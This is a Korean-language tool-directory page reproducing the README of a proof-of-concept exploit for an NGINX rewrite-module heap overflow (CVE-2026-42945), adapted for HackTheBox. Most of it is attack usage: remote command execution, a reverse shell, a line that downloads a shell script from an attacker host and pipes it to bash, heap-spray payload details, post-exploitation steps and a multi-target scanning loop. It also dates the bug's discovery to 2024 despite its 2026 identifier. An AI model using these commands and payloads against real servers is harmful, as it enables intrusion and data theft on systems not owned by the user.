Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945-POC — CVE-2026-42945 익스플로잇 | Kitploit
도구/GitHubGitHub/cipherspy/cve-2026-42945-poc
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationBinary Exploitation
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

541373개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42945 익스플로잇

저장소 보기

CVE-2026-42945 (NGINX Rift) - HTB 대비 익스플로잇

2024년에 발견된 NGINX 힙 버퍼 오버플로 취약점에 대한 독립 실행형 익스플로잇입니다. 이 버전은 Docker 컨테이너를 설정할 수 없는 HackTheBox 및 CTF 환경에 최적화되어 있습니다.

취약점 세부 정보

CVE-2026-42945는 2008년(버전 0.6.27)부터 존재해 온 NGINX ngx_http_rewrite_module의 치명적인 힙 버퍼 오버플로입니다. 이 버그는 다음 상황에서 발생합니다:

  1. rewrite 지시문의 대체 문자열에 ?가 포함됨 (is_args = 1 설정)
  2. set 지시문이 URI의 일부를 캡처함
  3. 0으로 초기화된 하위 엔진에서 길이 계산이 수행됨 (is_args = 0으로 인식)
  4. 메인 엔진에서 복사 단계가 실행됨 (is_args = 1로 인식)
  5. URI 이스케이프가 문자를 3배로 확장하여 크기가 부족한 버퍼가 오버플로됨

영향을 받는 버전

  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

수정된 버전

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

포함된 파일

  1. nginx_rift_htb.py - 메인 익스플로잇 스크립트
  2. nginx_rift_helper.py - 정찰 및 정보 유출 헬퍼
  3. README.md - 이 파일

요구 사항

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

빠른 시작

1. 대상이 취약한지 확인

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

다음 작업을 수행합니다:

  • NGINX 실행 여부 감지
  • 버전 식별 시도
  • /api/ 엔드포인트 확인
  • 대상이 취약해 보이는지 보고

2. 정찰 (권장)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

다음 작업을 수행합니다:

  • NGINX 핑거프린팅
  • 버전 탐지
  • 엔드포인트 발견
  • 정보 유출 탐지
  • 동작 분석

3. 익스플로잇 실행

명령 실행:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

리버스 셸 획득:

root@kitploit:~
# Start listener first (in another terminal)
nc -lvnp 4444

# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

사용 예시

기본 명령 실행

root@kitploit:~
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

리버스 셸

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

사용자 지정 주소 (ASLR이 비활성화되었거나 정보 유출이 있는 경우)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

고급 옵션

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

익스플로잇 이해하기

작동 방식

  1. 힙 스프레이: 익스플로잇이 가짜 ngx_pool_cleanup_s 구조체가 포함된 조작된 본문으로 여러 POST 요청을 전송
  2. 오버플로 트리거: 이스케이프될 때 오버플로가 발생하도록 특수하게 조작된 URI로 /api/에 GET 요청 전송
  3. 정리 훅: 오버플로가 인접 풀의 정리 포인터를 손상시켜 가짜 구조체를 가리키게 함
  4. 코드 실행: 풀이 파괴될 때 우리 명령으로 system() 호출

주요 매개변수

  • 대상 바이트: URL 안전 문자만 포함해야 하는 6바이트 주소
  • 스프레이 본문: 가짜 정리 구조체가 포함된 4000바이트 POST 본문
  • 오버플로 페이로드: 이스케이프 중 3배로 확장되는 349개의 'A' + 969개의 '+' 문자

ASLR 고려 사항

익스플로잇은 ASLR이 비활성화되어 있거나 주소를 알고 있다고 가정합니다. HTB에서:

  • 일부 박스는 더 쉬운 익스플로잇을 위해 ASLR을 비활성화함
  • 다른 박스는 정보 유출을 찾아야 함
  • 헬퍼 스크립트가 정찰에 도움이 될 수 있음

ASLR이 활성화된 경우 다음이 필요할 수 있습니다:

  1. 애플리케이션에서 정보 유출 찾기
  2. 무차별 대입 (많은 시도 필요)
  3. 부분 덮어쓰기 사용 (고급)

문제 해결

"대상이 NGINX를 실행 중인 것처럼 보이지 않습니다"

  • 대상이 실제로 NGINX를 실행 중인지 확인
  • 포트가 올바른지 확인
  • WAF/프록시 뒤에 있을 수 있음

"/api/ 엔드포인트를 확인할 수 없습니다"

취약한 구성에는 다음이 필요합니다:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • rewrite+set이 다른 곳에 존재하면 익스플로잇이 여전히 작동할 수 있음
  • 다른 일반적인 경로 시도: /api/, /admin/, /internal/

"모든 익스플로잇 시도가 실패했습니다"

가능한 이유:

  1. ASLR이 활성화됨 - 주소가 무작위화됨

    • 해결책: 정보 유출을 찾거나 무차별 대입
  2. 다른 libc 버전 - system()이 다른 오프셋에 있음

    • 해결책: --verbose로 모든 오프셋 시도
  3. 취약하지 않은 버전 - 수정된 버전 또는 다른 구성

    • 해결책: 헬퍼 스크립트로 버전 확인
  4. WAF/IDS 차단 - 보안 통제가 적용됨

    • 해결책: 우회 기술이 필요할 수 있음
  5. 잘못된 엔드포인트 - rewrite+set 조합을 사용하지 않음

    • 해결책: 실제 취약한 엔드포인트 찾기

상세 모드

디버깅에는 항상 --verbose를 사용하세요:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

다음을 표시합니다:

  • 각 스프레이 요청 상태
  • 연결 시도
  • 오버플로 트리거 타이밍
  • 크래시 감지 로직

HTB 특화 팁

VPN IP 찾기

root@kitploit:~
# Find your tun0 IP
ip addr show tun0 | grep inet

# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

셸 안정화

초기 접근 권한을 얻은 후:

root@kitploit:~
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

셸 획득 후 일반적인 HTB 열거

root@kitploit:~
# Check current user
id
whoami

# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Check sudo permissions
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

고급 사용법

사용자 지정 페이로드 생성

페이로드를 사용자 지정해야 하는 경우:

root@kitploit:~
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')

여러 대상

root@kitploit:~
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Test each one
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

자동화된 익스플로잇

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

기술 세부 정보

취약한 코드 패턴

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

익스플로잇 흐름

root@kitploit:~
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)

메모리 레이아웃

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

참고 자료

  • 원본 POC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • 기술 분석 문서: https://depthfirst.com/research/nginx-rift
  • NGINX 보안 권고: https://my.f5.com/manage/s/article/K000160932
  • CVE 세부 정보: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

면책 조항

이 도구는 교육 목적과 승인된 보안 테스트용으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 불법입니다. 저자는 오용에 대한 책임을 지지 않습니다.

크레딧

  • 원본 취약점 발견: depthfirst
  • 원본 POC: p3Nt3st3r-sTAr
  • HTB 각색: 독립 실행형 사용을 위해 수정됨

라이선스

교육/연구 목적으로만 사용하세요. 책임감 있게 사용하십시오.

도구 다운로드